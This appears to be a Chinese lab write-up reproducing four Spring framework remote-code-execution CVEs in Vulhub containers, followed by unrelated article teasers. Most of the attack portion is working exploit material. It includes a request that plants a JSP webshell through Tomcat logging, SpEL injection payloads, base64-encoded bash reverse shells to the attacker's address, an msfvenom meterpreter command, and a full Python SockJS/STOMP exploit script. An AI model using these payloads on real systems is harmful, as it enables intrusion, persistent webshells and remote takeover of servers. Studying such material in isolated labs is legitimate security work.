Spring框架漏洞学习之第二篇(CVE-2022-22965、CVE-2022-22947、CVE-2018-1273、CVE-2018-1270)

news2024/12/23 13:11:40

写在前边
如果在浏览本文时发现技术性错误时,欢迎指正;如果需要本框架探测的POC和EXP也可以私信,我看到后也会及时恢复大家。
总之,欢迎各路大佬叨扰!

Spring Framework 远程代码执行漏洞(CVE-2022-22965)

一、漏洞简介:

该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2022-22965

查看当前正在运行的容器环境

三、实验流程

**1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
根据提示尝试构造payload

http://192.168.200.47:8080/?name=Bob&age=25

显示效果
image.png

发送以下请求以更改 Apache Tomcat 中的日志记录配置,并将日志写入为 JSP 文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.200.147:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

访问刚才的 JSP webshell,并执行任意命令

http://192.168.200.47:8080/tomcatwar.jsp?pwd=j&cmd=id

image.png

漏洞修复等其他具体内容请见如下文章

https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247514928&idx=1&sn=d33f1046129536b3a0f2a7d02074297e&source=41#wechat_redirect

Spring Cloud Gateway 远程代码执行(CVE-2022-22947)

一、漏洞简介

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
2022年3月份,在 3.1.0 和 3.0.6 之前版本中使用 Spring Cloud Gateway 的应用程序,当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2022-22947

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
3.构造包含恶意请求的路由(id参数可控)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 310

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

image.png
4.应用刚添加的路由发送如下数据包,此数据包会触发表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image.png
5.发送如下数据包可查看结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



image.png
6.发送如下数据包进行清理,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

image.png
7.刷新路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8


image.png
结束3

使用工具

将脚本路径下放上url.txt,将需要检测的漏洞目标放到txt里面

python 脚本.py 

反弹shell的EXP,实现进行注入,刷新路由,回显命令,删除注入命令

python EXP.py http://target.com:8080 "反弹命令"

image.png
kali反弹shell成功
image.png

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、漏洞简介:

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2018-1273

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
3.访问http://your-ip:8080/users,将可以看到一个用户注册页面
image.png
4.构造poc

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.200.47:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

image.png
执行docker compose exec spring bash进入容器中,可见成功创建/tmp/success,说明命令执行成功:
image.png

反弹shell、

利用命令

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

编码后

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

因为某种原因反弹shell失败了

遇到无法弹shell的可以先从自己服务器下载一个elf木马名为test:

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.14 LPORT=8888 - i 3 -f elf -o test  

image.png

设置监听模块
image.png
设置参数
image.png
提权成功(由于linux系统中利用msf提权很少,便不不在掩饰)
image.png

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

一、漏洞简介:

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2018-1270

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。
我编写了一个简单的POC脚本exploit.py(需要用python3执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
  2. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/success’)
  3. 某一个订阅的地址,如vulhub中为:/topic/greetings
  4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。
执行EXP(注意替换IP地址)
image.png
image.png

反弹shell
使用内置EXP,更改成反弹shell命令

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.200.47:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODk5IDA+JjE=}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

kali监听
image.png

参考文章:https://vulhub.org/#/environments/spring/CVE-2018-1270/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1113710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3中computed的用法

一、完整代码 <template><div class"about"><h1>Computed的用法</h1><h3>姓:{{ person.firstName }}</h3><input type"text" v-model"person.firstName"><h3>名:{{ person.lastName }}</h3…

2023年中国水稻收割机产量、销量及市场规模分析[图]

水稻收割机行业是指以收割水稻为主要功能的农业机械行业&#xff0c;随着农业现代化的推进&#xff0c;水稻收割机行业也在不断发展和创新&#xff0c;以满足不断提高的农业生产效率和降低劳动成本的需求。 水稻收割机分类 资料来源&#xff1a;共研产业咨询&#xff08;共研网…

地方文化的守护者:TikTok如何保护和传承传统?

在全球化和数字化的时代&#xff0c;地方文化的保护和传承变得尤为重要。社交媒体平台如TikTok已经成为一种有力的工具&#xff0c;帮助地方文化传统得以传承和分享。本文将深入探讨TikTok在保护和传承地方文化方面的作用&#xff0c;并分析它如何成为地方文化的守护者。 TikTo…

使用 ClickHouse 深入了解 Apache Parquet (二)

【squids.cn】 全网zui低价RDS&#xff0c;免费的迁移工具DBMotion、数据库备份工具DBTwin、SQL开发工具等 这篇文章是我们的 Parquet 和 ClickHouse 博客系列的第二部分。在这篇文章中&#xff0c;我们将更详细地探讨 Parquet 格式&#xff0c;重点介绍使用 ClickHouse 读写文…

jsp debug模式

1、复制 action 后面名称 全局搜找到对应的java文件 2、点击debug模式 点击断点 3、进入页面 数据就能打印出来 4、按f8 查看下一条数据

支付宝小程序介入人脸识别(金融级--前端部分)

在这里只做前端部分说明: 详情参考文档:如何通过集成支付宝小程序唤起实人认证服务_实人认证-阿里云帮助中心 操作步骤 调用 API 发起认证。 发起认证服务。 调用 startBizService 接口请求认证。 function startAPVerify(options, callback) {my.call(startBizService, {n…

Vue-vue项目Element-UI 表单组件内容要求判断

整体添加判断 <el-formref"ruleFormRef":model"formModel"class"demo-ruleForm"label-position"top"status-icon:rules"rules"><el-form-item label"姓名" prop"applyUsers" class"form-…

python代理服务器搭建,Python代理IP怎么使用?

随着互联网的普及&#xff0c;越来越多的人开始关注网络安全和隐私保护。代理服务器是一种可以隐藏用户真实IP地址的工具&#xff0c;通过代理服务器可以让人们在使用网络时更加安全和隐蔽。搭建Python代理服务器可以让我们更好地了解网络协议、加强网络安全等。 搭建Python代理…

【VSCode】设置自动保存

首先打开设置 然后在搜索栏上搜索auto save&#xff0c;此时可以看见&#xff0c;默认off不保存 files:autoSaveDelay 设置自动保存的间隔 1.AfterDelay 将在配置的 “#files:autoSaveDelay#” 后自动保存。 2.onFocusChange 当编辑器失去焦点时&#xff0c;将自动保存。也就…

laravel的默认首页怎么改-laravel框架默认欢迎页面如何修改

laravel的默认首页怎么改 搭建好的laravel的默认首页怎么改 我们有两种改动方式&#xff1a; 第一种修改默认路由&#xff1a; 下一步是要移除Laravel应用程序默认的欢迎页路由。这个路由可以在routes/web.php文件的顶部找到&#xff0c;看起来类似于以下代码&#xff1a; …

关于CSGO游戏搬砖,想给大家的几点忠告

关于CSGO游戏搬砖&#xff0c;想给大家的几点忠告 1、新出的箱子&#xff0c;里面开出的皮肤短时间内会溢价&#xff0c;价格虚高&#xff0c;后期会呈逐渐下跌趋势&#xff0c;这就是我们不让大家碰新品的原因&#xff0c;哪怕利润再高也不建议购入或者囤货&#xff0c;实在要…

蜻蜓c影视追剧系统-多个小程序添加说明

多小程序添加设置 蜻蜓c影视追剧 支持多小程序添加&#xff0c;也就是可以管理不同前端的小程序。 此处id 对应前端小程序的mp值 关于添加小程序&#xff1a; 此处有所有填写内容的参考方式&#xff0c;要注意是必须开通了微信支付才可以添加&#xff0c;这里需要添加证书信息…

60 最长有效括号

最长有效括号 题目描述题解1 DPstack题解2 stack题解3 DP题解4 左右指针 题目描述 给你一个只包含 ( 和 ) 的字符串&#xff0c;找出最长有效&#xff08;格式正确且连续&#xff09;括号子串的长度。 示例 1&#xff1a; 输入&#xff1a;s "(()" 输出&#xff1…

CTF Reverse入门(1) 环境安装

前言 逆向重点是分析和理解计算机程序、二进制文件或者其他软件的逆向工程技术。在CTF比赛中&#xff0c;参赛者通常会收到一个或多个二进制文件、程序、固件或者其他类型的软件&#xff0c;他们的任务是分析这些文件&#xff0c;识别潜在的漏洞或安全问题。 学逆向需要会密码…

(三)QT中使用QVTKOpenGLNativeWidget的简单教程以及案例,利用PCLVisualizer显示点云

先添加一个带有ui的QT应用程序。 一、在ui界面中添加QVTKOpenGLNativeWidget控件 先拖出来一个QOpenGLWidget控件 修改布局如下&#xff1a; 然后将QOpenGLWidget控件提升为QVTKOpenGLNativeWidget控件&#xff0c;步骤如下&#xff1a; 右击QOpenGLWidget窗口&#xff0c;选…

【数据结构】线性表(六)堆栈:顺序栈及其基本操作(初始化、判空、判满、入栈、出栈、存取栈顶元素、清空栈)

文章目录 一、堆栈1. 定义2. 基本操作 二、顺序栈0. 顺序表1. 头文件和常量2. 栈结构体3. 栈的初始化4. 判断栈是否为空5. 判断栈是否已满6. 入栈7. 出栈8. 查看栈顶元素9. 清空栈10. 主函数11. 代码整合 堆栈Stack 和 队列Queue是两种非常重要的数据结构&#xff0c;两者都是特…

公司oa是什么?一般公司oa有什么样功能?

公司OA&#xff08;Office Automation&#xff09;是指通过计算机和信息技术来实现办公自动化的系统。 它提供了一系列的功能和工具&#xff0c;用于协调、管理和处理公司内部的日常事务和流程。OA系统旨在提高工作效率、加强信息交流与共享、简化业务流程&#xff0c;并提供便…

2023年中国人力资源服务外包市场规模、机构数量及细分领域规模[图]

人力资源服务外包是企业根据需要将某一项或几项人力资源管理工作或职能外包出去&#xff0c;交由其他企业或组织进行管理&#xff0c;以降低人力成本&#xff0c;实现效率最大化&#xff0c;企业专注自身核心业务发展。人力资源外包业务包括人事管理、人才派遣、薪酬财税、健康…

思维模型 晕轮效应

本系列文章 主要是 分享 思维模型&#xff0c;涉及各个领域&#xff0c;重在提升认知。 1 晕轮效应应用 1.1 面试中的晕轮效应 一位外表英俊、谈吐得体的男士在面试中表现出色&#xff0c;面试官对他印象极佳&#xff0c;认为他具备领导才能和优秀的沟通能力。然而&#xff0…

Mac M1编译 swift 5.8.1源码

参考链接&#xff1a;https://github.com/apple/swift/blob/main/docs/HowToGuides/GettingStarted.md#system-requirements 编译 Swift 5.8 源码-六虎 解决M1芯片的Homebrew安装问题--For M1使用者_m1 homebrew安装_a_52hz的博客-CSDN博客 建议全程梯子 一、检查和配置环境…